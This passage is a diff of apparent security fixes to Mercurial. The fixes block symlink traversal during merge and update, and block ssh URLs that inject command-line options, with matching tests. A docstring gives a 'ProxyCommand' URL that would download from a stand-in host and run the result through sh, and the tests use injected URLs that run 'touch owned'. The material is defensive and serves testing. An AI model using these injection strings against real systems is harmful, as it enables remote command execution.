|
|
7d0f2b |
diff --git a/mercurial/cmdutil.py b/mercurial/cmdutil.py
|
|
|
7d0f2b |
index 5c23633..e44ae51 100644
|
|
|
7d0f2b |
--- a/mercurial/cmdutil.py
|
|
|
7d0f2b |
+++ b/mercurial/cmdutil.py
|
|
|
7d0f2b |
@@ -2018,7 +2018,7 @@ def revert(ui, repo, ctx, parents, *pats, **opts):
|
|
|
7d0f2b |
fc = ctx[f]
|
|
|
7d0f2b |
repo.wwrite(f, fc.data(), fc.flags())
|
|
|
7d0f2b |
|
|
|
7d0f2b |
- audit_path = scmutil.pathauditor(repo.root)
|
|
|
7d0f2b |
+ audit_path = scmutil.pathauditor(repo.root, cached=True)
|
|
|
7d0f2b |
for f in remove[0]:
|
|
|
7d0f2b |
if repo.dirstate[f] == 'a':
|
|
|
7d0f2b |
repo.dirstate.drop(f)
|
|
|
7d0f2b |
diff --git a/mercurial/context.py b/mercurial/context.py
|
|
|
7d0f2b |
index 137c1f2..c3d96a0 100644
|
|
|
7d0f2b |
--- a/mercurial/context.py
|
|
|
7d0f2b |
+++ b/mercurial/context.py
|
|
|
7d0f2b |
@@ -360,7 +360,7 @@ class changectx(object):
|
|
|
7d0f2b |
r = self._repo
|
|
|
7d0f2b |
return matchmod.match(r.root, r.getcwd(), pats,
|
|
|
7d0f2b |
include, exclude, default,
|
|
|
7d0f2b |
- auditor=r.auditor, ctx=self)
|
|
|
7d0f2b |
+ auditor=r.nofsauditor, ctx=self)
|
|
|
7d0f2b |
|
|
|
7d0f2b |
def diff(self, ctx2=None, match=None, **opts):
|
|
|
7d0f2b |
"""Returns a diff generator for the given contexts and matcher"""
|
|
|
7d0f2b |
@@ -1137,6 +1137,13 @@ class workingctx(changectx):
|
|
|
7d0f2b |
finally:
|
|
|
7d0f2b |
wlock.release()
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+ def match(self, pats=[], include=None, exclude=None, default='glob'):
|
|
|
7d0f2b |
+ r = self._repo
|
|
|
7d0f2b |
+ return matchmod.match(r.root, r.getcwd(), pats,
|
|
|
7d0f2b |
+ include, exclude, default,
|
|
|
7d0f2b |
+ auditor=r.auditor, ctx=self)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
def markcommitted(self, node):
|
|
|
7d0f2b |
"""Perform post-commit cleanup necessary after committing this ctx
|
|
|
7d0f2b |
|
|
|
7d0f2b |
diff --git a/mercurial/dirstate.py b/mercurial/dirstate.py
|
|
|
7d0f2b |
index 6fbba21..c89bdd8 100644
|
|
|
7d0f2b |
--- a/mercurial/dirstate.py
|
|
|
7d0f2b |
+++ b/mercurial/dirstate.py
|
|
|
7d0f2b |
@@ -695,7 +695,7 @@ class dirstate(object):
|
|
|
7d0f2b |
# unknown == True means we walked the full directory tree above.
|
|
|
7d0f2b |
# So if a file is not seen it was either a) not matching matchfn
|
|
|
7d0f2b |
# b) ignored, c) missing, or d) under a symlink directory.
|
|
|
7d0f2b |
- audit_path = scmutil.pathauditor(self._root)
|
|
|
7d0f2b |
+ audit_path = scmutil.pathauditor(self._root, cached=True)
|
|
|
7d0f2b |
|
|
|
7d0f2b |
for nf in iter(visit):
|
|
|
7d0f2b |
# Report ignored items in the dmap as long as they are not
|
|
|
7d0f2b |
diff --git a/mercurial/localrepo.py b/mercurial/localrepo.py
|
|
|
7d0f2b |
index d4d675f..dcaaf40 100644
|
|
|
7d0f2b |
--- a/mercurial/localrepo.py
|
|
|
7d0f2b |
+++ b/mercurial/localrepo.py
|
|
|
7d0f2b |
@@ -159,7 +159,9 @@ class localrepository(object):
|
|
|
7d0f2b |
self.path = self.wvfs.join(".hg")
|
|
|
7d0f2b |
self.origroot = path
|
|
|
7d0f2b |
self.auditor = scmutil.pathauditor(self.root, self._checknested)
|
|
|
7d0f2b |
- self.vfs = scmutil.vfs(self.path)
|
|
|
7d0f2b |
+ self.nofsauditor = scmutil.pathauditor(self.root, self._checknested,
|
|
|
7d0f2b |
+ realfs=False, cached=True)
|
|
|
7d0f2b |
+ self.vfs = scmutil.vfs(self.path, cacheaudited=True)
|
|
|
7d0f2b |
self.opener = self.vfs
|
|
|
7d0f2b |
self.baseui = baseui
|
|
|
7d0f2b |
self.ui = baseui.copy()
|
|
|
7d0f2b |
@@ -220,7 +222,9 @@ class localrepository(object):
|
|
|
7d0f2b |
if inst.errno != errno.ENOENT:
|
|
|
7d0f2b |
raise
|
|
|
7d0f2b |
|
|
|
7d0f2b |
- self.store = store.store(requirements, self.sharedpath, scmutil.vfs)
|
|
|
7d0f2b |
+ self.store = store.store(
|
|
|
7d0f2b |
+ requirements, self.sharedpath,
|
|
|
7d0f2b |
+ lambda base: scmutil.vfs(base, cacheaudited=True))
|
|
|
7d0f2b |
self.spath = self.store.path
|
|
|
7d0f2b |
self.svfs = self.store.vfs
|
|
|
7d0f2b |
self.sopener = self.svfs
|
|
|
7d0f2b |
diff --git a/mercurial/posix.py b/mercurial/posix.py
|
|
|
7d0f2b |
index a8fc82b..4f04a56 100644
|
|
|
7d0f2b |
--- a/mercurial/posix.py
|
|
|
7d0f2b |
+++ b/mercurial/posix.py
|
|
|
7d0f2b |
@@ -7,6 +7,7 @@
|
|
|
7d0f2b |
|
|
|
7d0f2b |
from i18n import _
|
|
|
7d0f2b |
import encoding
|
|
|
7d0f2b |
+import error ##TODOCVE
|
|
|
7d0f2b |
import os, sys, errno, stat, getpass, pwd, grp, socket, tempfile, unicodedata
|
|
|
7d0f2b |
|
|
|
7d0f2b |
posixfile = open
|
|
|
7d0f2b |
@@ -64,7 +65,13 @@ def parsepatchoutput(output_line):
|
|
|
7d0f2b |
def sshargs(sshcmd, host, user, port):
|
|
|
7d0f2b |
'''Build argument list for ssh'''
|
|
|
7d0f2b |
args = user and ("%s@%s" % (user, host)) or host
|
|
|
7d0f2b |
- return port and ("%s -p %s" % (args, port)) or args
|
|
|
7d0f2b |
+ if '-' in args[:1]:
|
|
|
7d0f2b |
+ raise error.Abort(
|
|
|
7d0f2b |
+ _('illegal ssh hostname or username starting with -: %s') % args)
|
|
|
7d0f2b |
+ args = shellquote(args)
|
|
|
7d0f2b |
+ if port:
|
|
|
7d0f2b |
+ args = '-p %s %s' % (shellquote(port), args)
|
|
|
7d0f2b |
+ return args
|
|
|
7d0f2b |
|
|
|
7d0f2b |
def isexec(f):
|
|
|
7d0f2b |
"""check whether a file is executable"""
|
|
|
7d0f2b |
diff --git a/mercurial/scmutil.py b/mercurial/scmutil.py
|
|
|
7d0f2b |
index f8c96c1..88a35b5 100644
|
|
|
7d0f2b |
--- a/mercurial/scmutil.py
|
|
|
7d0f2b |
+++ b/mercurial/scmutil.py
|
|
|
7d0f2b |
@@ -118,12 +118,22 @@ class pathauditor(object):
|
|
|
7d0f2b |
- traverses a symlink (e.g. a/symlink_here/b)
|
|
|
7d0f2b |
- inside a nested repository (a callback can be used to approve
|
|
|
7d0f2b |
some nested repositories, e.g., subrepositories)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ The file system checks are only done when 'realfs' is set to True (the
|
|
|
7d0f2b |
+ default). They should be disable then we are auditing path for operation on
|
|
|
7d0f2b |
+ stored history.
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ If 'cached' is set to True, audited paths and sub-directories are cached.
|
|
|
7d0f2b |
+ Be careful to not keep the cache of unmanaged directories for long because
|
|
|
7d0f2b |
+ audited paths may be replaced with symlinks.
|
|
|
7d0f2b |
'''
|
|
|
7d0f2b |
|
|
|
7d0f2b |
- def __init__(self, root, callback=None):
|
|
|
7d0f2b |
+ def __init__(self, root, callback=None, realfs=True, cached=False):
|
|
|
7d0f2b |
self.audited = set()
|
|
|
7d0f2b |
self.auditeddir = set()
|
|
|
7d0f2b |
self.root = root
|
|
|
7d0f2b |
+ self._realfs = realfs
|
|
|
7d0f2b |
+ self._cached = cached
|
|
|
7d0f2b |
self.callback = callback
|
|
|
7d0f2b |
if os.path.lexists(root) and not util.checkcase(root):
|
|
|
7d0f2b |
self.normcase = util.normcase
|
|
|
7d0f2b |
@@ -166,33 +176,39 @@ class pathauditor(object):
|
|
|
7d0f2b |
normprefix = os.sep.join(normparts)
|
|
|
7d0f2b |
if normprefix in self.auditeddir:
|
|
|
7d0f2b |
break
|
|
|
7d0f2b |
- curpath = os.path.join(self.root, prefix)
|
|
|
7d0f2b |
- try:
|
|
|
7d0f2b |
- st = os.lstat(curpath)
|
|
|
7d0f2b |
- except OSError, err:
|
|
|
7d0f2b |
- # EINVAL can be raised as invalid path syntax under win32.
|
|
|
7d0f2b |
- # They must be ignored for patterns can be checked too.
|
|
|
7d0f2b |
- if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
|
|
|
7d0f2b |
- raise
|
|
|
7d0f2b |
- else:
|
|
|
7d0f2b |
- if stat.S_ISLNK(st.st_mode):
|
|
|
7d0f2b |
- raise util.Abort(
|
|
|
7d0f2b |
- _('path %r traverses symbolic link %r')
|
|
|
7d0f2b |
- % (path, prefix))
|
|
|
7d0f2b |
- elif (stat.S_ISDIR(st.st_mode) and
|
|
|
7d0f2b |
- os.path.isdir(os.path.join(curpath, '.hg'))):
|
|
|
7d0f2b |
- if not self.callback or not self.callback(curpath):
|
|
|
7d0f2b |
- raise util.Abort(_("path '%s' is inside nested "
|
|
|
7d0f2b |
- "repo %r")
|
|
|
7d0f2b |
- % (path, prefix))
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ if self._realfs:
|
|
|
7d0f2b |
+ self._checkfs(prefix,path)
|
|
|
7d0f2b |
prefixes.append(normprefix)
|
|
|
7d0f2b |
parts.pop()
|
|
|
7d0f2b |
normparts.pop()
|
|
|
7d0f2b |
|
|
|
7d0f2b |
- self.audited.add(normpath)
|
|
|
7d0f2b |
- # only add prefixes to the cache after checking everything: we don't
|
|
|
7d0f2b |
- # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
|
|
|
7d0f2b |
- self.auditeddir.update(prefixes)
|
|
|
7d0f2b |
+ if self._cached:
|
|
|
7d0f2b |
+ self.audited.add(normpath)
|
|
|
7d0f2b |
+ # only add prefixes to the cache after checking everything: we don't
|
|
|
7d0f2b |
+ # want to add "foo/bar/baz" before checking if there's a "foo/.hg"
|
|
|
7d0f2b |
+ self.auditeddir.update(prefixes)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ def _checkfs(self, prefix, path):
|
|
|
7d0f2b |
+ curpath = os.path.join(self.root, prefix)
|
|
|
7d0f2b |
+ try:
|
|
|
7d0f2b |
+ st = os.lstat(curpath)
|
|
|
7d0f2b |
+ except OSError, err:
|
|
|
7d0f2b |
+ # EINVAL can be raised as invalid path syntax under win32.
|
|
|
7d0f2b |
+ # They must be ignored for patterns can be checked too.
|
|
|
7d0f2b |
+ if err.errno not in (errno.ENOENT, errno.ENOTDIR, errno.EINVAL):
|
|
|
7d0f2b |
+ raise
|
|
|
7d0f2b |
+ else:
|
|
|
7d0f2b |
+ if stat.S_ISLNK(st.st_mode):
|
|
|
7d0f2b |
+ raise util.Abort(
|
|
|
7d0f2b |
+ _('path %r traverses symbolic link %r')
|
|
|
7d0f2b |
+ % (path, prefix))
|
|
|
7d0f2b |
+ elif (stat.S_ISDIR(st.st_mode) and
|
|
|
7d0f2b |
+ os.path.isdir(os.path.join(curpath, '.hg'))):
|
|
|
7d0f2b |
+ if not self.callback or not self.callback(curpath):
|
|
|
7d0f2b |
+ raise util.Abort(_("path '%s' is inside nested "
|
|
|
7d0f2b |
+ "repo %r")
|
|
|
7d0f2b |
+ % (path, prefix))
|
|
|
7d0f2b |
|
|
|
7d0f2b |
def check(self, path):
|
|
|
7d0f2b |
try:
|
|
|
7d0f2b |
@@ -276,13 +292,19 @@ class vfs(abstractvfs):
|
|
|
7d0f2b |
|
|
|
7d0f2b |
This class is used to hide the details of COW semantics and
|
|
|
7d0f2b |
remote file access from higher level code.
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ 'cacheaudited' should be enabled only if (a) vfs object is short-lived, or
|
|
|
7d0f2b |
+ (b) the base directory is managed by hg and considered sort-of append-only.
|
|
|
7d0f2b |
+ See pathauditor() for details.
|
|
|
7d0f2b |
'''
|
|
|
7d0f2b |
- def __init__(self, base, audit=True, expandpath=False, realpath=False):
|
|
|
7d0f2b |
+ def __init__(self, base, audit=True, cacheaudited=False, expandpath=False,
|
|
|
7d0f2b |
+ realpath=False):
|
|
|
7d0f2b |
if expandpath:
|
|
|
7d0f2b |
base = util.expandpath(base)
|
|
|
7d0f2b |
if realpath:
|
|
|
7d0f2b |
base = os.path.realpath(base)
|
|
|
7d0f2b |
self.base = base
|
|
|
7d0f2b |
+ self._cacheaudited = cacheaudited
|
|
|
7d0f2b |
self._setmustaudit(audit)
|
|
|
7d0f2b |
self.createmode = None
|
|
|
7d0f2b |
self._trustnlink = None
|
|
|
7d0f2b |
@@ -293,7 +315,8 @@ class vfs(abstractvfs):
|
|
|
7d0f2b |
def _setmustaudit(self, onoff):
|
|
|
7d0f2b |
self._audit = onoff
|
|
|
7d0f2b |
if onoff:
|
|
|
7d0f2b |
- self.audit = pathauditor(self.base)
|
|
|
7d0f2b |
+ self.audit = pathauditor(
|
|
|
7d0f2b |
+ self.base, cached=self._cacheaudited)
|
|
|
7d0f2b |
else:
|
|
|
7d0f2b |
self.audit = util.always
|
|
|
7d0f2b |
|
|
|
7d0f2b |
@@ -685,8 +708,9 @@ def addremove(repo, pats=[], opts={}, dry_run=None, similarity=None):
|
|
|
7d0f2b |
if similarity is None:
|
|
|
7d0f2b |
similarity = float(opts.get('similarity') or 0)
|
|
|
7d0f2b |
# we'd use status here, except handling of symlinks and ignore is tricky
|
|
|
7d0f2b |
+ ##NOTE _interestingfiles() ##
|
|
|
7d0f2b |
added, unknown, deleted, removed = [], [], [], []
|
|
|
7d0f2b |
- audit_path = pathauditor(repo.root)
|
|
|
7d0f2b |
+ audit_path = pathauditor(repo.root, cached=True)
|
|
|
7d0f2b |
m = match(repo[None], pats, opts)
|
|
|
7d0f2b |
rejected = []
|
|
|
7d0f2b |
m.bad = lambda x, y: rejected.append(x)
|
|
|
7d0f2b |
diff --git a/mercurial/sshpeer.py b/mercurial/sshpeer.py
|
|
|
7d0f2b |
index 71fed08..5f46b70 100644
|
|
|
7d0f2b |
--- a/mercurial/sshpeer.py
|
|
|
7d0f2b |
+++ b/mercurial/sshpeer.py
|
|
|
7d0f2b |
@@ -35,6 +35,8 @@ class sshpeer(wireproto.wirepeer):
|
|
|
7d0f2b |
if u.scheme != 'ssh' or not u.host or u.path is None:
|
|
|
7d0f2b |
self._abort(error.RepoError(_("couldn't parse location %s") % path))
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+ util.checksafessh(path)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
self.user = u.user
|
|
|
7d0f2b |
if u.passwd is not None:
|
|
|
7d0f2b |
self._abort(error.RepoError(_("password in URL not supported")))
|
|
|
7d0f2b |
diff --git a/mercurial/subrepo.py b/mercurial/subrepo.py
|
|
|
7d0f2b |
index 7286f06..6347ace 100644
|
|
|
7d0f2b |
--- a/mercurial/subrepo.py
|
|
|
7d0f2b |
+++ b/mercurial/subrepo.py
|
|
|
7d0f2b |
@@ -969,6 +969,10 @@ class svnsubrepo(abstractsubrepo):
|
|
|
7d0f2b |
# The revision must be specified at the end of the URL to properly
|
|
|
7d0f2b |
# update to a directory which has since been deleted and recreated.
|
|
|
7d0f2b |
args.append('%s@%s' % (state[0], state[1]))
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ # SEC: check that the ssh url is safe
|
|
|
7d0f2b |
+ util.checksafessh(state[0])
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
status, err = self._svncommand(args, failok=True)
|
|
|
7d0f2b |
if not re.search('Checked out revision [0-9]+.', status):
|
|
|
7d0f2b |
if ('is already a working copy for a different URL' in err
|
|
|
7d0f2b |
@@ -1172,6 +1176,9 @@ class gitsubrepo(abstractsubrepo):
|
|
|
7d0f2b |
|
|
|
7d0f2b |
def _fetch(self, source, revision):
|
|
|
7d0f2b |
if self._gitmissing():
|
|
|
7d0f2b |
+ # SEC: check for safe ssh url
|
|
|
7d0f2b |
+ util.checksafessh(source)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
source = self._abssource(source)
|
|
|
7d0f2b |
self._ui.status(_('cloning subrepo %s from %s\n') %
|
|
|
7d0f2b |
(self._relpath, source))
|
|
|
7d0f2b |
diff --git a/mercurial/util.py b/mercurial/util.py
|
|
|
7d0f2b |
index 8ea36bb..36d507d 100644
|
|
|
7d0f2b |
--- a/mercurial/util.py
|
|
|
7d0f2b |
+++ b/mercurial/util.py
|
|
|
7d0f2b |
@@ -1863,6 +1863,21 @@ def hasdriveletter(path):
|
|
|
7d0f2b |
def urllocalpath(path):
|
|
|
7d0f2b |
return url(path, parsequery=False, parsefragment=False).localpath()
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+def checksafessh(path):
|
|
|
7d0f2b |
+ """check if a path / url is a potentially unsafe ssh exploit (SEC)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ This is a sanity check for ssh urls. ssh will parse the first item as
|
|
|
7d0f2b |
+ an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path.
|
|
|
7d0f2b |
+ Let's prevent these potentially exploited urls entirely and warn the
|
|
|
7d0f2b |
+ user.
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ Raises an error.Abort when the url is unsafe.
|
|
|
7d0f2b |
+ """
|
|
|
7d0f2b |
+ path = urllib.unquote(path)
|
|
|
7d0f2b |
+ if path.startswith('ssh://-') or path.startswith('svn+ssh://-'):
|
|
|
7d0f2b |
+ raise error.Abort(_('potentially unsafe url: %r') %
|
|
|
7d0f2b |
+ (path,))
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
def hidepassword(u):
|
|
|
7d0f2b |
'''hide user credential in a url string'''
|
|
|
7d0f2b |
u = url(u)
|
|
|
7d0f2b |
diff --git a/mercurial/windows.py b/mercurial/windows.py
|
|
|
7d0f2b |
index 1e8a623..40a5a50 100644
|
|
|
7d0f2b |
--- a/mercurial/windows.py
|
|
|
7d0f2b |
+++ b/mercurial/windows.py
|
|
|
7d0f2b |
@@ -6,7 +6,7 @@
|
|
|
7d0f2b |
# GNU General Public License version 2 or any later version.
|
|
|
7d0f2b |
|
|
|
7d0f2b |
from i18n import _
|
|
|
7d0f2b |
-import osutil, encoding
|
|
|
7d0f2b |
+import osutil, encoding, error ##TODOCVE
|
|
|
7d0f2b |
import errno, msvcrt, os, re, stat, sys, _winreg
|
|
|
7d0f2b |
|
|
|
7d0f2b |
import win32
|
|
|
7d0f2b |
@@ -100,7 +100,14 @@ def sshargs(sshcmd, host, user, port):
|
|
|
7d0f2b |
'''Build argument list for ssh or Plink'''
|
|
|
7d0f2b |
pflag = 'plink' in sshcmd.lower() and '-P' or '-p'
|
|
|
7d0f2b |
args = user and ("%s@%s" % (user, host)) or host
|
|
|
7d0f2b |
- return port and ("%s %s %s" % (args, pflag, port)) or args
|
|
|
7d0f2b |
+ if args.startswith('-') or args.startswith('/'):
|
|
|
7d0f2b |
+ raise error.Abort(
|
|
|
7d0f2b |
+ _('illegal ssh hostname or username starting with - or /: %s') %
|
|
|
7d0f2b |
+ args)
|
|
|
7d0f2b |
+ args = shellquote(args)
|
|
|
7d0f2b |
+ if port:
|
|
|
7d0f2b |
+ args = '%s %s %s' % (pflag, shellquote(port), args)
|
|
|
7d0f2b |
+ return args
|
|
|
7d0f2b |
|
|
|
7d0f2b |
def setflags(f, l, x):
|
|
|
7d0f2b |
pass
|
|
|
7d0f2b |
diff --git a/tests/test-audit-path.t b/tests/test-audit-path.t
|
|
|
7d0f2b |
index 5f49e7f..08d61bb 100644
|
|
|
7d0f2b |
--- a/tests/test-audit-path.t
|
|
|
7d0f2b |
+++ b/tests/test-audit-path.t
|
|
|
7d0f2b |
@@ -27,6 +27,45 @@ should still fail - maybe
|
|
|
7d0f2b |
abort: path 'b/b' traverses symbolic link 'b' (glob)
|
|
|
7d0f2b |
[255]
|
|
|
7d0f2b |
|
|
|
7d0f2b |
+ $ hg commit -m 'add symlink b'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+Test symlink traversing when accessing history:
|
|
|
7d0f2b |
+-----------------------------------------------
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+(build a changeset where the path exists as a directory)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up 0
|
|
|
7d0f2b |
+ 0 files updated, 0 files merged, 1 files removed, 0 files unresolved
|
|
|
7d0f2b |
+ $ mkdir b
|
|
|
7d0f2b |
+ $ echo c > b/a
|
|
|
7d0f2b |
+ $ hg add b/a
|
|
|
7d0f2b |
+ $ hg ci -m 'add directory b'
|
|
|
7d0f2b |
+ created new head
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+Test that hg cat does not do anything wrong the working copy has 'b' as directory
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg cat b/a
|
|
|
7d0f2b |
+ c
|
|
|
7d0f2b |
+ $ hg cat -r "desc(directory)" b/a
|
|
|
7d0f2b |
+ c
|
|
|
7d0f2b |
+ $ hg cat -r "desc(symlink)" b/a
|
|
|
7d0f2b |
+ b/a: no such file in rev bc151a1f53bd
|
|
|
7d0f2b |
+ [1]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+Test that hg cat does not do anything wrong the working copy has 'b' as a symlink (issue4749)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up 'desc(symlink)'
|
|
|
7d0f2b |
+ 1 files updated, 0 files merged, 1 files removed, 0 files unresolved
|
|
|
7d0f2b |
+ $ hg cat b/a
|
|
|
7d0f2b |
+ b/a: no such file in rev bc151a1f53bd
|
|
|
7d0f2b |
+ [1]
|
|
|
7d0f2b |
+ $ hg cat -r "desc(directory)" b/a
|
|
|
7d0f2b |
+ c
|
|
|
7d0f2b |
+ $ hg cat -r "desc(symlink)" b/a
|
|
|
7d0f2b |
+ b/a: no such file in rev bc151a1f53bd
|
|
|
7d0f2b |
+ [1]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
#endif
|
|
|
7d0f2b |
|
|
|
7d0f2b |
|
|
|
7d0f2b |
@@ -90,3 +129,90 @@ attack /tmp/test
|
|
|
7d0f2b |
[255]
|
|
|
7d0f2b |
|
|
|
7d0f2b |
$ cd ..
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+Test symlink traversal on merge:
|
|
|
7d0f2b |
+--------------------------------
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+#if symlink
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+set up symlink hell
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ mkdir merge-symlink-out
|
|
|
7d0f2b |
+ $ hg init merge-symlink
|
|
|
7d0f2b |
+ $ cd merge-symlink
|
|
|
7d0f2b |
+ $ touch base
|
|
|
7d0f2b |
+ $ hg commit -qAm base
|
|
|
7d0f2b |
+ $ ln -s ../merge-symlink-out a
|
|
|
7d0f2b |
+ $ hg commit -qAm 'symlink a -> ../merge-symlink-out'
|
|
|
7d0f2b |
+ $ hg up -q 0
|
|
|
7d0f2b |
+ $ mkdir a
|
|
|
7d0f2b |
+ $ touch a/poisoned
|
|
|
7d0f2b |
+ $ hg commit -qAm 'file a/poisoned'
|
|
|
7d0f2b |
+ $ hg log -G '{rev}: {desc}\n'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+try trivial merge
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up -qC 1
|
|
|
7d0f2b |
+ $ hg merge 2
|
|
|
7d0f2b |
+ abort: path 'a/poisoned' traverses symbolic link 'a'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+try rebase onto other revision: cache of audited paths should be discarded,
|
|
|
7d0f2b |
+and the rebase should fail (issue5628)
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up -qC 2
|
|
|
7d0f2b |
+ $ hg rebase -s 2 -d 1 --config extensions.rebase=
|
|
|
7d0f2b |
+ abort: path 'a/poisoned' traverses symbolic link 'a'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ ls ../merge-symlink-out
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+Test symlink traversal on update:
|
|
|
7d0f2b |
+---------------------------------
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ mkdir update-symlink-out
|
|
|
7d0f2b |
+ $ hg init update-symlink
|
|
|
7d0f2b |
+ $ cd update-symlink
|
|
|
7d0f2b |
+ $ ln -s ../update-symlink-out a
|
|
|
7d0f2b |
+ $ hg commit -qAm 'symlink a -> ../update-symlink-out'
|
|
|
7d0f2b |
+ $ hg rm a
|
|
|
7d0f2b |
+ $ mkdir a && touch a/b
|
|
|
7d0f2b |
+ $ hg ci -qAm 'file a/b' a/b
|
|
|
7d0f2b |
+ $ hg up -qC 0
|
|
|
7d0f2b |
+ $ hg rm a
|
|
|
7d0f2b |
+ $ mkdir a && touch a/c
|
|
|
7d0f2b |
+ $ hg ci -qAm 'rm a, file a/c'
|
|
|
7d0f2b |
+ $ hg log -G '{rev}: {desc}\n'
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+try linear update where symlink already exists:
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up -qC 0
|
|
|
7d0f2b |
+ $ hg up 1
|
|
|
7d0f2b |
+ abort: path 'a/b' traverses symbolic link 'a'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+try linear update including symlinked directory and its content: paths are
|
|
|
7d0f2b |
+audited first by calculateupdates(), where no symlink is created so both
|
|
|
7d0f2b |
+'a' and 'a/b' are taken as good paths. still applyupdates() should fail.
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg up -qC null
|
|
|
7d0f2b |
+ $ hg up 1
|
|
|
7d0f2b |
+ abort: path 'a/b' traverses symbolic link 'a'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ ls ../update-symlink-out
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+try branch update replacing directory with symlink, and its content: the
|
|
|
7d0f2b |
+path 'a' is audited as a directory first, which should be audited again as
|
|
|
7d0f2b |
+a symlink.
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ rm -f a
|
|
|
7d0f2b |
+ $ hg up -qC 2
|
|
|
7d0f2b |
+ $ hg up 1
|
|
|
7d0f2b |
+ abort: path 'a/b' traverses symbolic link 'a'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ ls ../update-symlink-out
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cd ..
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+#endif
|
|
|
7d0f2b |
diff --git a/tests/test-clone.t b/tests/test-clone.t
|
|
|
7d0f2b |
index 55e8a4a..2b09c4e 100644
|
|
|
7d0f2b |
--- a/tests/test-clone.t
|
|
|
7d0f2b |
+++ b/tests/test-clone.t
|
|
|
7d0f2b |
@@ -621,3 +621,66 @@ re-enable perm to allow deletion
|
|
|
7d0f2b |
#endif
|
|
|
7d0f2b |
|
|
|
7d0f2b |
$ cd ..
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+SEC: check for unsafe ssh url
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ cat >> $HGRCPATH << EOF
|
|
|
7d0f2b |
+ > [ui]
|
|
|
7d0f2b |
+ > ssh = sh -c "read l; read l; read l"
|
|
|
7d0f2b |
+ > EOF
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg clone 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg clone 'ssh://%2DoProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch${IFS}owned/path'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg clone 'ssh://fakehost|touch%20owned/path'
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg clone 'ssh://fakehost%7Ctouch%20owned/path'
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+ $ hg clone 'ssh://-oProxyCommand=touch owned%20foo@example.com/nonexistent/path'
|
|
|
7d0f2b |
+ abort: potentially unsafe url: 'ssh://-oProxyCommand=touch owned foo@example.com/nonexistent/path'
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+
|
|
|
7d0f2b |
+#if windows
|
|
|
7d0f2b |
+ $ hg clone "ssh://%26touch%20owned%20/" --debug
|
|
|
7d0f2b |
+ running sh -c "read l; read l; read l" "&touch owned " "hg -R . serve --stdio"
|
|
|
7d0f2b |
+ sending hello command
|
|
|
7d0f2b |
+ sending between command
|
|
|
7d0f2b |
+ abort: no suitable response from remote hg!
|
|
|
7d0f2b |
+ [255]
|
|
|
7d0f2b |
+ $ hg clone "ssh://example.com:%26touch%20owned%20/" --debug
|
|
|
7d0f2b |
